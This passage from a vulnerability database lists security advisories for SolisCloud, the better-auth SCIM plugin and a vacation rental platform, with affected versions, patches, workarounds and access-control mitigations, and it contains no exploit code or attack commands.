"details": "The SolisCloud API suffers from a Broken Access Control vulnerability, specifically an Insecure Direct Object Reference (IDOR), where any authenticated user can access detailed data of any plant by altering the plant_id in the request.",
"id": "GHSA-rj4p-qc9g-j2p3",
"modified": "2025-12-05T00:31:05Z",
"published": "2025-12-05T00:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13932"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-338-06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RJG6-39JM-RGG4
Vulnerability from github – Published: 2026-07-24 15:40 – Updated: 2026-07-24 15:40Am I affected?
You are affected if your application registers the @better-auth/scim plugin and lets authenticated users generate SCIM tokens. The default canGenerateToken policy was affected, and custom policies were affected when they did not reject provider IDs already used by other account providers. The provider-ID collision issue additionally requires SSO, SAML, OIDC, generic OAuth, or social providers whose account rows use custom provider IDs, plus existing account rows under those IDs.
The deprovisioning and email-update issues require only the SCIM plugin and a valid SCIM bearer token. Published versions from @better-auth/scim@1.4.0-beta.27 through 1.6.21 are affected. Beta versions from 1.7.0-beta.0 through 1.7.0-beta.9 are affected. Upgrade to @better-auth/scim@1.6.22 or 1.7.0-beta.10.
Summary
@better-auth/scim used the same logical provider ID for SCIM provider configuration and account ownership. SCIM token issuance did not reject all account-provider namespaces. An authenticated user could therefore mint a SCIM token whose provider ID matched an existing SSO, SAML, OIDC, generic OAuth, or social provider. SCIM user routes then selected account rows by that provider ID and treated those users as SCIM-managed, even when the SCIM token had never provisioned them.
The same write path had 2 additional validation issues. First, SCIM active: false was not modeled, so identity providers could receive a successful response while the user stayed active. Second, SCIM PUT and PATCH updates changed global email addresses without the same uniqueness check used by create, and emailVerified stayed unchanged after an email reassignment.
Details
The SCIM bearer middleware decoded the provider ID from the bearer token and loaded the matching scimProvider row. User listing and user lookup then queried ordinary account rows by account.providerId. This made the provider ID a user-controlled authorization key. If a SCIM token used a provider ID that belonged to SSO, SAML, OIDC, generic OAuth, or another account provider, the SCIM routes could resolve users that the token did not own.
The highest-impact path was non-organization deletion. On affected versions, DELETE /scim/v2/Users/:id for a non-organization SCIM token deleted the global Better Auth user and their sessions after resolving the user through the colliding provider ID. A low-privileged authenticated user could therefore delete users associated with a colliding provider namespace.
Organization-scoped tokens were also affected by the provider-ID collision. If the colliding provider ID matched the organization's SSO or OIDC connection, SCIM PUT or PATCH could resolve an SSO-provisioned organization member and rewrite global profile fields. Before the patch, changing a user's email through SCIM skipped the uniqueness check and left emailVerified unchanged.
SCIM deactivation had a separate failure mode. The SCIM active attribute was missing from the user schemas and PATCH mapping, so active: false was stripped from requests. A standard identity-provider deactivation signal could return success while the user kept their identity, sessions, and access.
Patches
Fixed in @better-auth/scim@1.6.22 and @better-auth/scim@1.7.0-beta.10.
The patch rejects SCIM provider IDs that collide with built-in providers, configured social providers, generic OAuth providers, and SSO provider rows before a token is minted. It also scopes SCIM deletion to the SCIM account link when the user has other identities. The global user is deleted only when the SCIM account is the user's sole linked account.
The patch models the SCIM active attribute. App-level SCIM deactivation maps active: false to the admin plugin's enforced disabled-user state and revokes sessions. If the admin plugin is absent, the request is rejected instead of being silently dropped.
The patch adds the email uniqueness check to SCIM PUT and PATCH updates and resets emailVerified whenever SCIM changes a user's email.
Workarounds
If you cannot upgrade immediately, configure canGenerateToken to reject provider IDs that match any account provider ID used by your application. Include built-in providers, social providers, generic OAuth providers, SSO, SAML, and OIDC provider IDs. Also restrict which users can generate SCIM tokens.
Do not rely on deactivation reports from your identity provider until you have upgraded. Confirm that deactivated users have actually lost access, especially if your identity provider deprovisions through active: false.
If you use SCIM account linking, avoid broad domain-based linking rules. A shared email domain is not proof that a SCIM token may manage a pre-existing user. Prefer organization-membership checks or an explicit application predicate.
Audit existing scimProvider rows and remove any row whose providerId matches another account provider namespace.
Impact
With the provider-ID collision issue, an authenticated attacker could act through a provider namespace they did not own. They could list and read SCIM user resources for users linked to the colliding provider. They could also update profile and account fields and delete global user records on the non-organization path. In organization-scoped deployments, a colliding token could mutate global profile fields for SSO-provisioned organization members.
With the deactivation issue, a terminated user could remain active after an identity provider reported successful deprovisioning through active: false. With the email-update issue, SCIM could assign one user's email to another user on adapters without an enforced unique index. That could corrupt email-keyed login and lookup, while SQL adapters could raise an unhandled adapter error.
Credit
Found through internal validation.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.21"
},
"package": {
"ecosystem": "npm",
"name": "@better-auth/scim"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0-beta.27"
},
{
"fixed": "1.6.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.0-beta.9"
},
"package": {
"ecosystem": "npm",
"name": "@better-auth/scim"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0-beta.0"
},
{
"fixed": "1.7.0-beta.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T15:40:54Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Am I affected?\n\nYou are affected if your application registers the `@better-auth/scim` plugin and lets authenticated users generate SCIM tokens. The default `canGenerateToken` policy was affected, and custom policies were affected when they did not reject provider IDs already used by other account providers. The provider-ID collision issue additionally requires SSO, SAML, OIDC, generic OAuth, or social providers whose account rows use custom provider IDs, plus existing account rows under those IDs.\n\nThe deprovisioning and email-update issues require only the SCIM plugin and a valid SCIM bearer token. Published versions from `@better-auth/scim@1.4.0-beta.27` through `1.6.21` are affected. Beta versions from `1.7.0-beta.0` through `1.7.0-beta.9` are affected. Upgrade to `@better-auth/scim@1.6.22` or `1.7.0-beta.10`.\n\n### Summary\n\n`@better-auth/scim` used the same logical provider ID for SCIM provider configuration and account ownership. SCIM token issuance did not reject all account-provider namespaces. An authenticated user could therefore mint a SCIM token whose provider ID matched an existing SSO, SAML, OIDC, generic OAuth, or social provider. SCIM user routes then selected account rows by that provider ID and treated those users as SCIM-managed, even when the SCIM token had never provisioned them.\n\nThe same write path had 2 additional validation issues. First, SCIM `active: false` was not modeled, so identity providers could receive a successful response while the user stayed active. Second, SCIM PUT and PATCH updates changed global email addresses without the same uniqueness check used by create, and `emailVerified` stayed unchanged after an email reassignment.\n\n### Details\n\nThe SCIM bearer middleware decoded the provider ID from the bearer token and loaded the matching `scimProvider` row. User listing and user lookup then queried ordinary account rows by `account.providerId`. This made the provider ID a user-controlled authorization key. If a SCIM token used a provider ID that belonged to SSO, SAML, OIDC, generic OAuth, or another account provider, the SCIM routes could resolve users that the token did not own.\n\nThe highest-impact path was non-organization deletion. On affected versions, `DELETE /scim/v2/Users/:id` for a non-organization SCIM token deleted the global Better Auth user and their sessions after resolving the user through the colliding provider ID. A low-privileged authenticated user could therefore delete users associated with a colliding provider namespace.\n\nOrganization-scoped tokens were also affected by the provider-ID collision. If the colliding provider ID matched the organization\u0027s SSO or OIDC connection, SCIM PUT or PATCH could resolve an SSO-provisioned organization member and rewrite global profile fields. Before the patch, changing a user\u0027s email through SCIM skipped the uniqueness check and left `emailVerified` unchanged.\n\nSCIM deactivation had a separate failure mode. The SCIM `active` attribute was missing from the user schemas and PATCH mapping, so `active: false` was stripped from requests. A standard identity-provider deactivation signal could return success while the user kept their identity, sessions, and access.\n\n### Patches\n\nFixed in `@better-auth/scim@1.6.22` and `@better-auth/scim@1.7.0-beta.10`.\n\nThe patch rejects SCIM provider IDs that collide with built-in providers, configured social providers, generic OAuth providers, and SSO provider rows before a token is minted. It also scopes SCIM deletion to the SCIM account link when the user has other identities. The global user is deleted only when the SCIM account is the user\u0027s sole linked account.\n\nThe patch models the SCIM `active` attribute. App-level SCIM deactivation maps `active: false` to the admin plugin\u0027s enforced disabled-user state and revokes sessions. If the admin plugin is absent, the request is rejected instead of being silently dropped.\n\nThe patch adds the email uniqueness check to SCIM PUT and PATCH updates and resets `emailVerified` whenever SCIM changes a user\u0027s email.\n\n### Workarounds\n\nIf you cannot upgrade immediately, configure `canGenerateToken` to reject provider IDs that match any account provider ID used by your application. Include built-in providers, social providers, generic OAuth providers, SSO, SAML, and OIDC provider IDs. Also restrict which users can generate SCIM tokens.\n\nDo not rely on deactivation reports from your identity provider until you have upgraded. Confirm that deactivated users have actually lost access, especially if your identity provider deprovisions through `active: false`.\n\nIf you use SCIM account linking, avoid broad domain-based linking rules. A shared email domain is not proof that a SCIM token may manage a pre-existing user. Prefer organization-membership checks or an explicit application predicate.\n\nAudit existing `scimProvider` rows and remove any row whose `providerId` matches another account provider namespace.\n\n### Impact\n\nWith the provider-ID collision issue, an authenticated attacker could act through a provider namespace they did not own. They could list and read SCIM user resources for users linked to the colliding provider. They could also update profile and account fields and delete global user records on the non-organization path. In organization-scoped deployments, a colliding token could mutate global profile fields for SSO-provisioned organization members.\n\nWith the deactivation issue, a terminated user could remain active after an identity provider reported successful deprovisioning through `active: false`. With the email-update issue, SCIM could assign one user\u0027s email to another user on adapters without an enforced unique index. That could corrupt email-keyed login and lookup, while SQL adapters could raise an unhandled adapter error.\n\n### Credit\n\nFound through internal validation.",
"id": "GHSA-rjg6-39jm-rgg4",
"modified": "2026-07-24T15:40:54Z",
"published": "2026-07-24T15:40:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-rjg6-39jm-rgg4"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/pull/10242"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/commit/7c126dcd1aad24468ec37e876545c1d083d8acca"
},
{
"type": "PACKAGE",
"url": "https://github.com/better-auth/better-auth"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.22"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/releases/tag/v1.7.0-beta.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@better-auth/scim: account takeover and stale access via SCIM provider-id collision"
}
GHSA-RJV6-GJ2V-MH9H
Vulnerability from github – Published: 2025-05-26 12:30 – Updated: 2025-05-26 12:30A vulnerability has been found in Summer Pearl Group Vacation Rental Management Platform up to 1.0.1 and classified as critical. This vulnerability affects unknown code of the component Listing Handler. The manipulation leads to authorization bypass. The attack can be initiated remotely. Upgrading to version 1.0.2 is able to address this issue. It is recommended to upgrade the affected component.
{
"affected": [],
"aliases": [
"CVE-2025-5182"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-26T11:15:24Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in Summer Pearl Group Vacation Rental Management Platform up to 1.0.1 and classified as critical. This vulnerability affects unknown code of the component Listing Handler. The manipulation leads to authorization bypass. The attack can be initiated remotely. Upgrading to version 1.0.2 is able to address this issue. It is recommended to upgrade the affected component.",
"id": "GHSA-rjv6-gj2v-mh9h",
"modified": "2025-05-26T12:30:30Z",
"published": "2025-05-26T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5182"
},
{
"type": "WEB",
"url": "https://github.com/Stolichnayer/Summer-Pearl-Group-IDOR-XSS"
},
{
"type": "WEB",
"url": "https://summerpearlgroup.gr/spgpm/releases"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.310270"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.310270"
},
{
"type": "WEB",
"url": "https://www.youtube.com/watch?v=0wwuatTa6sU"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.